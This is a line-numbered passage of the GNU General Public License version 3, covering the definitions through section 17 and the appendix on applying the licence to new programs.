 85 | in a fashion requiring copyright permission, other than the making of an
 86 | exact copy.  The resulting work is called a "modified version" of the
 87 | earlier work or a work "based on" the earlier work.
 88 | 
 89 |   A "covered work" means either the unmodified Program or a work based
 90 | on the Program.
 91 | 
 92 |   To "propagate" a work means to do anything with it that, without
 93 | permission, would make you directly or secondarily liable for
 94 | infringement under applicable copyright law, except executing it on a
 95 | computer or modifying a private copy.  Propagation includes copying,
 96 | distribution (with or without modification), making available to the
 97 | public, and in some countries other activities as well.
 98 | 
 99 |   To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies.  Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 | 
103 |   An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License.  If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 | 
112 |   1. Source Code.
113 | 
114 |   The "source code" for a work means the preferred form of the work
115 | for making modifications to it.  "Object code" means any non-source
116 | form of a work.
117 | 
118 |   A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 | 
123 |   The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form.  A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 | 
134 |   The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities.  However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work.  For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 | 
147 |   The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 | 
151 |   The Corresponding Source for a work in source code form is that
152 | same work.
153 | 
154 |   2. Basic Permissions.
155 | 
156 |   All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met.  This License explicitly affirms your unlimited
159 | permission to run the unmodified Program.  The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work.  This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 | 
164 |   You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force.  You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright.  Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 | 
175 |   Conveying under any other circumstances is permitted solely under
176 | the conditions stated below.  Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 | 
179 |   3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 | 
181 |   No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 | 
187 |   When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 | 
195 |   4. Conveying Verbatim Copies.
196 | 
197 |   You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 | 
205 |   You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 | 
208 |   5. Conveying Modified Source Versions.
209 | 
210 |   You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 | 
214 |     a) The work must carry prominent notices stating that you modified
215 |     it, and giving a relevant date.
216 | 
217 |     b) The work must carry prominent notices stating that it is
218 |     released under this License and any conditions added under section
219 |     7.  This requirement modifies the requirement in section 4 to
220 |     "keep intact all notices".
221 | 
222 |     c) You must license the entire work, as a whole, under this
223 |     License to anyone who comes into possession of a copy.  This
224 |     License will therefore apply, along with any applicable section 7
225 |     additional terms, to the whole of the work, and all its parts,
226 |     regardless of how they are packaged.  This License gives no
227 |     permission to license the work in any other way, but it does not
228 |     invalidate such permission if you have separately received it.
229 | 
230 |     d) If the work has interactive user interfaces, each must display
231 |     Appropriate Legal Notices; however, if the Program has interactive
232 |     interfaces that do not display Appropriate Legal Notices, your
233 |     work need not make them do so.
234 | 
235 |   A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit.  Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 | 
245 |   6. Conveying Non-Source Forms.
246 | 
247 |   You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 | 
252 |     a) Convey the object code in, or embodied in, a physical product
253 |     (including a physical distribution medium), accompanied by the
254 |     Corresponding Source fixed on a durable physical medium
255 |     customarily used for software interchange.
256 | 
257 |     b) Convey the object code in, or embodied in, a physical product
258 |     (including a physical distribution medium), accompanied by a
259 |     written offer, valid for at least three years and valid for as
260 |     long as you offer spare parts or customer support for that product
261 |     model, to give anyone who possesses the object code either (1) a
262 |     copy of the Corresponding Source for all the software in the
263 |     product that is covered by this License, on a durable physical
264 |     medium customarily used for software interchange, for a price no
265 |     more than your reasonable cost of physically performing this
266 |     conveying of source, or (2) access to copy the
267 |     Corresponding Source from a network server at no charge.
268 | 
269 |     c) Convey individual copies of the object code with a copy of the
270 |     written offer to provide the Corresponding Source.  This
271 |     alternative is allowed only occasionally and noncommercially, and
272 |     only if you received the object code with such an offer, in accord
273 |     with subsection 6b.
274 | 
275 |     d) Convey the object code by offering access from a designated
276 |     place (gratis or for a charge), and offer equivalent access to the
277 |     Corresponding Source in the same way through the same place at no
278 |     further charge.  You need not require recipients to copy the
279 |     Corresponding Source along with the object code.  If the place to
280 |     copy the object code is a network server, the Corresponding Source
281 |     may be on a different server (operated by you or a third party)
282 |     that supports equivalent copying facilities, provided you maintain
283 |     clear directions next to the object code saying where to find the
284 |     Corresponding Source.  Regardless of what server hosts the
285 |     Corresponding Source, you remain obligated to ensure that it is
286 |     available for as long as needed to satisfy these requirements.
287 | 
288 |     e) Convey the object code using peer-to-peer transmission, provided
289 |     you inform other peers where the object code and Corresponding
290 |     Source of the work are being offered to the general public at no
291 |     charge under subsection 6d.
292 | 
293 |   A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 | 
297 |   A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling.  In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage.  For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product.  A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 | 
310 |   "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source.  The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 | 
318 |   If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information.  But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 | 
329 |   The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed.  Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 | 
337 |   Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 | 
343 |   7. Additional Terms.
344 | 
345 |   "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law.  If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 | 
354 |   When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it.  (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.)  You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 | 
361 |   Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 | 
365 |     a) Disclaiming warranty or limiting liability differently from the
366 |     terms of sections 15 and 16 of this License; or
367 | 
368 |     b) Requiring preservation of specified reasonable legal notices or
369 |     author attributions in that material or in the Appropriate Legal
370 |     Notices displayed by works containing it; or
371 | 
372 |     c) Prohibiting misrepresentation of the origin of that material, or
373 |     requiring that modified versions of such material be marked in
374 |     reasonable ways as different from the original version; or
375 | 
376 |     d) Limiting the use for publicity purposes of names of licensors or
377 |     authors of the material; or
378 | 
379 |     e) Declining to grant rights under trademark law for use of some
380 |     trade names, trademarks, or service marks; or
381 | 
382 |     f) Requiring indemnification of licensors and authors of that
383 |     material by anyone who conveys the material (or modified versions of
384 |     it) with contractual assumptions of liability to the recipient, for
385 |     any liability that these contractual assumptions directly impose on
386 |     those licensors and authors.
387 | 
388 |   All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10.  If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term.  If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 | 
398 |   If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 | 
403 |   Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 | 
407 |   8. Termination.
408 | 
409 |   You may not propagate or modify a covered work except as expressly
410 | provided under this License.  Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 | 
415 |   However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 | 
422 |   Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 | 
429 |   Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License.  If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 | 
435 |   9. Acceptance Not Required for Having Copies.
436 | 
437 |   You are not required to accept this License in order to receive or
438 | run a copy of the Program.  Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance.  However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work.  These actions infringe copyright if you do
443 | not accept this License.  Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 | 
446 |   10. Automatic Licensing of Downstream Recipients.
447 | 
448 |   Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License.  You are not responsible
451 | for enforcing compliance by third parties with this License.
452 | 
453 |   An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations.  If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 | 
463 |   You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License.  For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 | 
471 |   11. Patents.
472 | 
473 |   A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based.  The
475 | work thus licensed is called the contributor's "contributor version".
476 | 
477 |   A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version.  For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 | 
487 |   Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 | 
492 |   In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement).  To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 | 
499 |   If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients.  "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 | 
513 |   If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 | 
521 |   A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License.  You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 | 
536 |   Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 | 
540 |   12. No Surrender of Others' Freedom.
541 | 
542 |   If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License.  If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all.  For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 | 
552 |   13. Use with the GNU Affero General Public License.
553 | 
554 |   Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work.  The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 | 
563 |   14. Revised Versions of this License.
564 | 
565 |   The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time.  Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 | 
570 |   Each version is given a distinguishing version number.  If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation.  If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 | 
579 |   If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 | 
584 |   Later license versions may give you additional or different
585 | permissions.  However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 | 
589 |   15. Disclaimer of Warranty.
590 | 
591 |   THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 | 
600 |   16. Limitation of Liability.
601 | 
602 |   IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 | 
612 |   17. Interpretation of Sections 15 and 16.
613 | 
614 |   If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 | 
621 |                      END OF TERMS AND CONDITIONS
622 | 
623 |             How to Apply These Terms to Your New Programs
624 | 
625 |   If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 | 
629 |   To do so, attach the following notices to the program.  It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 | 
634 |     {one line to give the program's name and a brief idea of what it does.}
635 |     Copyright (C) {year}  {name of author}
636 | 
637 |     This program is free software: you can redistribute it and/or modify
638 |     it under the terms of the GNU General Public License as published by
639 |     the Free Software Foundation, either version 3 of the License, or
640 |     (at your option) any later version.
641 | 
642 |     This program is distributed in the hope that it will be useful,
643 |     but WITHOUT ANY WARRANTY; without even the implied warranty of
644 |     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
645 |     GNU General Public License for more details.
646 | 
647 |     You should have received a copy of the GNU General Public License
648 |     along with this program.  If not, see <http://www.gnu.org/licenses/>.
649 | 
650 | Also add information on how to contact you by electronic and paper mail.
651 | 
652 |   If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 | 
655 |     {project}  Copyright (C) {year}  {fullname}
656 |     This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 |     This is free software, and you are welcome to redistribute it
658 |     under certain conditions; type `show c' for details.
659 | 
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License.  Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 | 
664 |   You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | <http://www.gnu.org/licenses/>.
668 | 
669 |   The GNU General Public License does not permit incorporating your program
670 | into proprietary programs.  If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library.  If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License.  But first, please read
674 | <http://www.gnu.org/philosophy/why-not-lgpl.html>.
675 | 


--------------------------------------------------------------------------------